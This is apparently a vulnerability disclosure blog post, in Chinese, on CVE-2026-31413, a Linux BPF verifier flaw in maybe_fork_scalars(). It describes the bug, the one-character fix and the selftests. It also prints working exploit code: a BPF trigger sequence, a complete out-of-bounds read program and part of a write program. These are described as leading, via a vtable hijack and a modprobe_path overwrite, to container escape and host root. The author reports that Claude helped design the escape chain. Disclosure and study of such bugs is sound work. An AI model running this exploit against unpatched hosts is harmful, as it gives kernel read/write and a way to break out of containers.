CVE-2026-31413: BPF 验证器健全性缺陷 - 容器逃逸
我在 Linux BPF 验证器中找到一个健全性漏洞——push_stack() 调用中的 + 1 导致验证器在分叉路径上跳过一条 ALU 指令。对于 BPF_OR,这意味着验证器跟踪 dst = 0,而 CPU 实际计算 0 | K = K。我编写了一个完整的容器逃逸利用:从 BPF map 进行越界(OOB)读写、劫持 vtable、覆盖 modprobe_path,最终在宿主机上获得 root 权限。随后我提交了一个包含两个补丁的补丁系列——一个单字符的验证器修复和 90 行 selftests——并将其合并到主线内核。
| CVE | CVE-2026-31413 |
| 漏洞类型 | 验证器健全性 - 寄存器值发散 |
| 根本原因 | push_stack(env, env->insn_idx + 1, ...) 在分叉路径上跳过 ALU 指令 |
| 引入版本 | bffacdb80b93 - Linux 7.0-rc1(2026 年 1 月 14 日) |
| 修复版本 | c845894ebd6f - Linux 7.0-rc5(2026 年 3 月 22 日) |
| 受影响版本 | 6.12.75+(稳定版回移植 dea9989a3f)至 7.0-rc4 |
| 影响 | 内核任意读写 → 容器逃逸 → 宿主机 root |
| 所需权限 | CAP_BPF + CAP_PERFMON + CAP_NET_ADMIN |
| 修复方式 | 一个字符:insn_idx + 1 → insn_idx |
当 maybe_fork_scalars() 遇到 ARSH + AND/OR 与常量组合时,它会分叉验证器状态。被压入的路径得到 dst = 0 并跳过 ALU 指令。对于 AND 这没问题:0 & K = 0。但对于 OR 这是错误的:0 | K = K,而不是 0。
验证器认为该寄存器是零,但 CPU 中实际是 K。我利用这一点,从 BPF map value 构建任意越界读写,泄露 map 的内核地址,构造伪造的 bpf_map_ops vtable,通过 array_map_get_next_key 重定向 map_push_elem 实现任意写,并覆盖了 modprobe_path。触发一个未知二进制格式,内核便以 root 身份运行我的脚本。在容器中实现完全的主机逃逸。
补丁系列包含两个补丁:一个单字符的验证器修复,外加 90 行覆盖 OR 与 AND 分叉情况的 BPF selftests。2026 年 3 月 22 日由 Alexei Starovoitov 合并。2026 年 4 月 12 日由 Greg Kroah-Hartman 分配 CVE-2026-31413。
eBPF 允许你将小程序加载到内核中——包过滤器、跟踪钩子、安全策略——而无需编译内核模块。问题在于你是在向 ring 0 注入代码。如果这段代码有 bug,那就是内核 bug。
因此,在任何 BPF 程序运行之前,内核的验证器会模拟每条可能的执行路径。它跟踪每个寄存器的内容(指针?标量?范围是多少?),对照 map 边界检查每次内存访问,并拒绝任何可能越界读写的操作。如果验证器认定某个程序是安全的,JIT 会将其编译为本地机器码,并以完整内核权限运行。此后不再有运行时边界检查。验证器就是安全边界。
这就是为什么验证器健全性漏洞与普通的内存破坏不同。对于堆溢出或 UAF,你得到一个内存破坏原语,然后必须在此基础上展开利用——堆喷射、对象整形、竞争窗口。而验证器漏洞则能让内核相信关于寄存器值的谎言。所有依赖该寄存器的边界检查都会通过。内核批准了你的越界访问,并毫无质疑地执行它。只要你能正确对齐寄存器状态,就能得到一个干净且可靠的利用原语。
我当时正在审计 maybe_fork_scalars()——这是 2026 年 1 月在 bffacdb80b93 中新增的代码。状态分叉总是很有趣,因为验证器在这里分裂为并行的探索路径;如果任何路径跟踪了错误的值,那么该路径下游的一切都是不健全的。
当该函数看到 ARSH + AND/OR 与常量源组合时,它会进行分叉。被压入的路径得到 dst = 0,并跳过 ALU 指令。当我读到 push_stack(env, env->insn_idx + 1, ...) 这一行时,我立刻明白了——+ 1 意味着被压入的路径永远不会执行 ALU 操作。对于 AND,0 & K = 0,所以跳过没问题。对于 OR,0 | K = K。被压入的路径认为结果是 0,而实际上它是 K。
当天晚上我写了一个 BPF 程序。用 ARSH 63 得到 {0, -1},再与常量做 OR,通过条件分支分离验证器路径,然后将这个“零”寄存器加到 map 指针上。验证器批准了 map_value + 0,而 CPU 实际访问的是 map_value + K。KASAN 在测试中确认了越界访问。
到第二天早上,我已经实现了越界读写。第二天晚上,完成了容器逃逸。整个过程我都使用了 Claude(Opus 4.5)——用于梳理验证器的状态分叉逻辑、头脑风暴利用原语,以及将越界读写转化为完整的逃逸链。vtable 劫持方案来自一次来回讨论,其间 Claude 逐一检查了 bpf_map_ops 的函数指针,寻找可调用的 gadget。
提交 bffacdb80b93(“bpf: Recognize special arithmetic shift in the verifier”)于 2026 年 1 月 14 日合入 7.0-rc1。作者是 Alexei Starovoitov,共同开发者为 Puranjay Mohan。该提交新增了 maybe_fork_scalars(),用于处理 LLVM DAGCombiner 模式:```
w2 s>>= 31 // arithmetic shift right: w2 becomes 0 or -1
w2 &= -134 // AND with constant K
LLVM 将 `select_cc setlt X, 0, A, 0` 降低为 `sra + and`。算术右移之后,寄存器要么是 `0`(非负输入),要么是 `-1`(全 1)。与常量进行 AND 运算得到 `0` 或 `K`。
验证器无法在单个 `bpf_reg_state` 中跟踪 `{0, K}` —— 其带符号范围 `[0, K]` 是过度近似,这导致它拒绝有效的 Cilium 程序。解决办法:分叉验证器状态。一个路径探索 `dst = 0`,另一个路径探索 `dst = -1`,各自跟踪精确值。
实现:```c
static int maybe_fork_scalars(struct bpf_verifier_env *env,
struct bpf_insn *insn,
struct bpf_reg_state *dst_reg)
{
// ... condition check: dst range is [-1, 0], src is constant ...
branch = push_stack(env, env->insn_idx + 1, env->insn_idx, false);
// ^^^^^^^^^^^^
// pushed path resumes AFTER the ALU insn
if (IS_ERR(branch))
return PTR_ERR(branch);
regs = branch->frame[branch->curframe]->regs;
__mark_reg_known(®s[insn->dst_reg], 0); // pushed: dst = 0
__mark_reg_known(dst_reg, -1ull); // current: dst = -1
return 0;
}
在被压入的路径上会发生两件事:
0insn_idx + 1 处恢复 —— 即 ALU 操作之后的指令对于 BPF_AND:dst = 0,跳过 AND。运行时:0 & K = 0。匹配。可靠。
对于 BPF_OR:dst = 0,跳过 OR。运行时:0 | K = K。不匹配。
验证器看到 0。CPU 拿到 K。不可靠。
该函数不检查操作码。它是为 AND 编写的——在这种情况下,跳过该指令等同于以 dst = 0 执行它——却也被应用到了 OR。对于 OR,这种等价关系不成立。
触发模式是五条指令:``` r6 = (u64)(map_value + 0) // load a positive value (guaranteed by map init) r6 s>>= 63 // arithmetic shift: r6 = 0 (positive input) r6 |= K // BUG: verifier forks, pushed path gets r6=0 if r6 s< 0 goto exit // steers verifier paths r9 += r6 // verifier: r9 += 0 (in-bounds) // runtime: r9 += K (OOB)
验证器探索两条路径:
**当前路径**(`dst = -1`):OR 执行,`-1 | K` 仍为 `-1`。分支 `r6 s< 0` 被采用。验证器跟随退出路径。该路径是安全的,验证器对此予以确认。
**压入路径**(`dst = 0`,跳过 OR):`r6 = 0`。分支 `r6 s< 0` 不被采用。验证器落到 `r9 += r6`,看到 `r9 += 0`,并批准随后的内存访问为边界内访问。
**运行时**(`dst = 0`,OR 执行):map 值为正,因此经过 ARSH 后,`r6 = 0`。OR 执行:`0 | K = K`。分支 `K s< 0` 不被采用(K 为正)。`r9 += K` —— 越界 `K` 字节的访问,验证器却将其视为 `r9 += 0` 予以批准。
我控制 `K`。相对于任意 BPF map 值的任意偏移 OOB 读或写。
读取版本将泄露的数据存入第二个 map,供用户空间检索。写入版本从第三个 map 加载一个值,并将其写入 OOB 偏移处。两者均能通过验证器。
以下是完整的 `oob_read_prog` —— 这是来自 exploit 的实际代码,而非伪代码:```c
static int oob_read_prog(int map_fd, int dst_fd, int offset)
{
int K = -offset;
struct bpf_insn insn[] = {
/* look up map_fd[0] → R0 = pointer to value, load seed into R6 */
BPF_LD_MAP_FD(R1, map_fd),
BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -8),
BPF_ST_MEM(BPF_DW, R10, -8, 0),
BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1), /* map_lookup_elem */
BPF_JMP_IMM(BPF_JNE, R0, 0, 2), BPF_MOV64_IMM(R0,0), BPF_EXIT_INSN(),
BPF_LDX_MEM(BPF_DW, R6, R0, 0), /* R6 = seed (positive) */
/* look up dst_fd[0] → R9 = pointer to output buffer */
BPF_LD_MAP_FD(R1, dst_fd),
BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -8),
BPF_ST_MEM(BPF_DW, R10, -8, 0),
BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1),
BPF_JMP_IMM(BPF_JNE, R0, 0, 2), BPF_MOV64_IMM(R0,0), BPF_EXIT_INSN(),
BPF_MOV64_REG(R9, R0),
/* look up map_fd[0] again → R8 = base pointer for OOB access */
BPF_LD_MAP_FD(R1, map_fd),
BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -8),
BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1),
BPF_JMP_IMM(BPF_JNE, R0, 0, 2), BPF_MOV64_IMM(R0,0), BPF_EXIT_INSN(),
BPF_MOV64_REG(R8, R0),
/* === THE BUG === */
BPF_ALU64_IMM(BPF_ARSH, R6, 63), /* R6 = 0 (positive seed) */
BPF_ALU64_IMM(BPF_OR, R6, K), /* verifier: R6=0, runtime: R6=K */
BPF_MOV64_IMM(R7, 0),
BPF_ALU64_REG(BPF_SUB, R7, R6), /* R7 = -K = offset */
BPF_ALU64_REG(BPF_ADD, R8, R7), /* R8 = map_value + offset (OOB) */
BPF_LDX_MEM(BPF_DW, R0, R8, 0), /* OOB read: 8 bytes */
BPF_STX_MEM(BPF_DW, R9, R0, 0), /* store to output map */
BPF_MOV64_IMM(R0, 0),
BPF_EXIT_INSN(),
};
return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, insn, ARRAY_SIZE(insn));
}
以及越界写入——与ARSH+OR相同的技巧,但将来自第三个map的值写入 越界偏移处:```c static int oob_write_prog(int map_fd, int val_fd, int offset) { int K = -offset; struct bpf_insn insn[] = { /* look up map_fd[0], load seed, trigger the bug / BPF_LD_MAP_FD(R1, map_fd), BPF_ST_MEM(BPF_W, R10, -4, 0), BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -4), BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1), BPF_JMP_IMM(BPF_JEQ, R0, 0, 20), BPF_MOV64_REG(R9, R0), BPF_LDX_MEM(BPF_DW, R6, R9, 0), / R6 = seed */
BPF_ALU64_IMM(BPF_ARSH, R6, 63), /* R6 = 0 */
BPF_ALU64_IMM(BPF_OR, R6, K), /* R6 = K (verifier: 0) */
BPF_JMP_IMM(BPF_JSLT, R6, 0, 13), /* skip if negative (verifier path) */